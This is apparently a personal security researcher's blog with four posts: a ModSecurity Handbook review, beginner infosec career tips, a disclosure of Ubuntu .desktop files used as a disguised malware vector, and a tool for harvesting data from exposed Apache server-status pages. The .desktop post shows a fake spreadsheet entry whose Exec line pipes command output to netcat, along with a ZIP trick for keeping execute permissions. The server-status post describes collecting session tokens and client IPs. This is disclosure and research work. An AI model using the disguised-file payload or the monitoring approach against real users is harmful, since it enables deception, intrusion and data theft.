Tuesday, October 3, 2017

[Book Review] ModSecurity Handbook - 2nd Edition

This blog post is a brief review of the ModSecurity Handbook - 2nd edition.

I have been working in the WAF industry for quite a long time. My main interest is WAF evasions, where I worked on the popular "Evading All WAF XSS Filters" research. On 2015, the results of the research showed that ModSecurity (with CRS) is the most difficult to evade, according to my testing.

After I finished my research, I became interested on ModSecurity and the OWASP Core Rule Set.

The problem that I faced during working with ModSecurity is that most resources online are outdated, and does not fulfill my requirements at work. My alternative was the first release of the handbook, which was released in 2012. The book is a good learning resource, but ModSecurity has faced major changes during the years. I needed a more updated resource.

In December 2016, Dr. Christian Folini announced the finishing of the second release of ModSecurity handbook. I was really excited to get my copy, as OWASP CRS 3.0 was released two months before. The book is not just only updated with up-to-date resources, it also covers the OWASP CRS 3.0, which is excellent in my opinion.

The first chapters discusses beginner topics regarding WAFs and ModSecurity. Then it dives into configuring ModSecurity on different web-servers. After that it, discusses the customizing of logs to fit the administrator's requirements.

From there, the book starts on my favorite set of chapters, writing your own custom rules. It's discussed extensively; probably the most thorough documented rules writing guidance for ModSecurity.

It's great to be able to write your own WAF rules for ModSecurity. The CRS is quite generic to typical attacks, but writing rules that is specific to exploit is quite needed for any defender. The chapter discusses writing WAF rules extensively. By having typical knowledge of regular expressions and reading this chapter, you would be able to write your own WAF rules.

The book also discusses the performance part of ModSecurity, and how to tweak ModSecurity to perform better with available resources.

To conclude, in my opinion, ModSecurity handbook is a must-read book for any defender, and anyone working on the technical side in the WAF industry. ModSecurity in general performs core tasks and requires good knowledge on configuration and administration. Being able to work with ModSecurity would allow you to work with other WAFs in an easier manner.

Amazon Link: https://www.amazon.com/ModSecurity-Handbook-Second-Christian-Folini/dp/1907117075

Friday, August 11, 2017

Starting in InfoSec - 101

This blog post is written as a list of tips and notes on starting the field of Information Security from the beginning.

How to Start into the field of information security?
I would like to become a bug bounty hunter, ethical hacker, web-app tester, or to have better knowledge in security testing. How to start?



The following are tips and points should be followed when getting into the field of Information Security in general, and security testing in specific.

1- Start on the base of programming

It’s required to start from the very beginning when it comes to web-application testing. Without a good base, it’s very difficult to go further.

I recommend having a good base in scripting languages: PHP, Shell, then choose Python, Ruby, Node.JS or similar scripting languages.

Also, HTML/CSS/JS will be important for web security. Learning it in a good level would be important in order understand web, and further, to write web exploits and code.

This will give you a very good base on understanding the nature of applications, and how it could be developed. This will also help you in being capable of writing testing scripts or code that you would need in actual security testing.

You should at least reach a level  that you are capable of performing ideas that you have in mind. It takes time to learn, but it’s really vital.

2- Have a good knowledge in Linux/Unix

This will help you in learning how to interact with your machine, and how to get the most of it when performing tests.

3- Understand networking basics

Learning networking is very important. It should give you knowledge on how to approach a target in testing. Also, it will help you build blocks in the relation of the application and the server.

You should understand popular services and protocols, and how it works. Also, be able of knowing how to debug issues.

4- Basic knowledge of System Administration

Basic knowledge of system administration is very useful. It will help you understand how things work, and based on that, you would have an idea about common issues that can be used to break things.

5- Learning common web-application security vulnerabilities

After finishing the above, you can start in learning the common web-application security vulnerabilities. How to find it, how does it occur, and how to exploit it. Take each vulnerability and read a sample vulnerable code for it, (assuming you reached a good level in learning programming),  and then see how to protect from it.

There are vulnerable applications that can help you in it.
is a great resource for getting vulnerable virtual machines.
(What’s a virtual machine? You should have this covered in previous sections).

6- Practice, Practice, and Practice

Nothing comes easily. Information security is not an industry of a 9-5 jobs. If you didn’t dedicate yourself for it, it will be difficult to improve. Put a good amount of efforts into learning and practicing.

7- English is world’s language of communication. Learn it to learn to read resources.

There is no doubt that English is today’s language of communication.

If you understand English, you would be able to access and understand a large amount of English resources. The majority of information security resources online are in English. English is a universal language, it’s required in almost anything in it. Do your best in learning it well.

8- Read, Read, and Read

I remember watching a TedX talk that gives an important and catchy quote, “Readers are Leaders”.

The more you read, the more you learn, the more you understand better, the more you improve.

It all start with reading. There are a large amount  of resources online that you can benefit from.

8- There is no Bullet-Proof Resource or Advise that will make you a good hacker

Information security is not a thing that you can learn from a single resource or place. Knowledge on the field is something that is obtained through hard work and practice.

9- Practice in CTFs and Bug Bounty Programs

After working on all the topics above, it would be a good time to start with CTFs and Bug Programs. These programs help you in getting practical knowledge of information security. It’s fun, and very helpful.

This a summary of what I have in mind in starting in the information security field. It’s not bullet-proof, but it will hopefully get you in a good level if followed right.

Best Regards,
Mazin Ahmed

Similar Resources

Saturday, April 8, 2017

Using Ubuntu .DESKTOP as a Malware Vector

    I have noticed a weird behavior in .DESKTOP file extensions that can be used as a malware vector. This issue is not detected as malware by all known AVs, and the way it behaves makes it a rich resource for spreading malware against Ubuntu and Linux Desktop users in general. I will focusing on Ubuntu Desktop on this blog post.

    File managers on Ubuntu (Nautilus, Caja, Thunar are tested) treats .desktop in a special way. Basically, it parses .desktop, and view the files as the way it's saved on their .desktop entry. In addition to that, it also changes the icon of the file to the one specified in the .desktop entry too.

Example .desktop File

Let's say the filename is "firefox.desktop", and it's saved at "/root/test/"

 #!/usr/bin/env xdg-open

[Desktop Entry]
Name = Firefox Browser
Comment = Firefox Browser
Icon = /path/to/icon

    when navigating to "/root/test" via a file manager, we will see a file called "Firefox Browser", and Icon of Firefox, instead of seeing a file called "firefox.desktop".

Let's dive more into "Desktop Entry" options.
    One of the most interesting entries is "Exec". Basically, it will take the input, and pass it to shell to be executed. That doesn't sound nice.

    We can simply inject a payload there, along with a custom crafted .desktop design that mimics an interesting file.

#!/usr/bin/env xdg-open

[Desktop Entry]
Name = Employees Salary.xslx
Comment = Employees Salary.xslx
Icon = libreoffice-calc
Exec = /bin/sh -c "id | nc 1337"

    Saving the file as "payload.desktop", when it's viewed, it will be viewed thanks to file managers as "Employees Salary.xslx" with LibreOffice icon. Once a user click on the file, the payload will be executed.

Stealthy malware vector on Ubuntu Desktop.

Obstacles of Successful Exploitation

    Executing permissions would be an issue in exploitation. When a .desktop file does not have an execution permission, we get the following the error:

    This error can be bypassed by presetting the permissions to 07555 for example to be executed, then ZIPPing the file, and delivering it as a ZIP archive, when it's decompressed, the same permissions will be outputted. Now the malware vector would work normally with any distribution that supports .desktop extensions.

Proof of Concept
I have made a test repository that holds a simple PoC that will pop-up a calc.

To test on your local machine: 

$ git clone 'https://github.com/mazen160/Ubuntu-Desktop-Malware-Vector-Demo.git'

then navigate to the "Demo" folder using a file manager, you will see the following when clicking on the file:

    I have contacted Ubuntu security, and they have decided to accept the risk of this issue. Therefore, the issue is still there, and affects millions of users online.

    It's quite difficult to recommend stopping the usage of File Managers to mitigate the issue. However, I recommend checking/opening untrusted files via CLI. This helps in detecting the exploitation of .desktop malware vector.

Final Thoughts
    This was a cool idea I had in my mind that I thought of sharing it. I'm looking forward to your opinions regarding this technique.

Friday, January 13, 2017

Exploiting Misconfigured Apache server-status Instances with server-status_PWN


    One of the things that my clients like in my work that I always like to do my best in providing technical Proof of Concepts in findings I discover. This makes it easier for technical departments to reproduce the issues, and also a nice way to show how bugs and issues can be actually exploited.

    I recently had an assessment where I discovered a number of publicly exposed Apache server-status instances. In case you are not familiar with Apache server-status, feel free to read this document.

    When I report it initially to the company, the team thought that it would be an acceptable risk to leave it there.

    I believe Apache server-status should not be accessible, as it pose a major privacy and security risk.

What Information can be exposed?

* All requested URLs by all Hosts/VHosts on the Apache server.
This includes:
      * Hidden and obscure files and directories.
      * Session Tokens on GET REQUEST_URI (eg.. https://example.com/?token=123). If tokens are passed through GET HTTP method, it will be exposed, no matter what SSL encryption is used.

* All clients' IP addresses along with URLs the clients have requested.

What do we need as attackers?

    We need a script that constantly monitors the exposed Apache server-status, and extracts all new URLs, and save them for later testing.

    Also, if we are performing an intelligence engagement, we would need all IPs that interacts with the Apache server that hosts our target website, along with requested URLs. Then we need to constantly monitor the service on the hour.

What have I done to Solve the Issue?

    As a penetration tester, I believe that without an actual PoC, the attack would be theoretical, simple as that. PoC || GO is the rule of the game.

So, I wrote server-status PWN.

Introducing server-status PWN

    server-status PWN constantly requests and parses Apache server-status pages for any new event. Whenever a new URL is requested or a new client IP address is used, it will be logged and reported. It outputs the logs in a SQLITE3 database.

Example Tool Output:

    The tool basically did exactly what I needed, if anyone have additional ideas that would like to push it into server-status_PWN, let me know and I will be happy to implement it.

server-status_PWN Homepage: https://github.com/mazen160/server-status_PWN

    If you have a project or would like your application/network to be tested, I provide freelancing penetration testing services. Feel free to email me at <Mazin AT MazinAhmed DOT net>, and check the Hire Me page.

[February 20, 2017] Update:

    The Apache Foundation has made changes to their official Apache server-status instance, which was made available at: https://www.apache.org/server-status 
    Initially, it was publicly and intentionally accessible. Now, it shows a large notice stating that the data is "static data" and do not hold any users' data or information. Great job as always by Apache Foundation in protecting the user's security and privacy.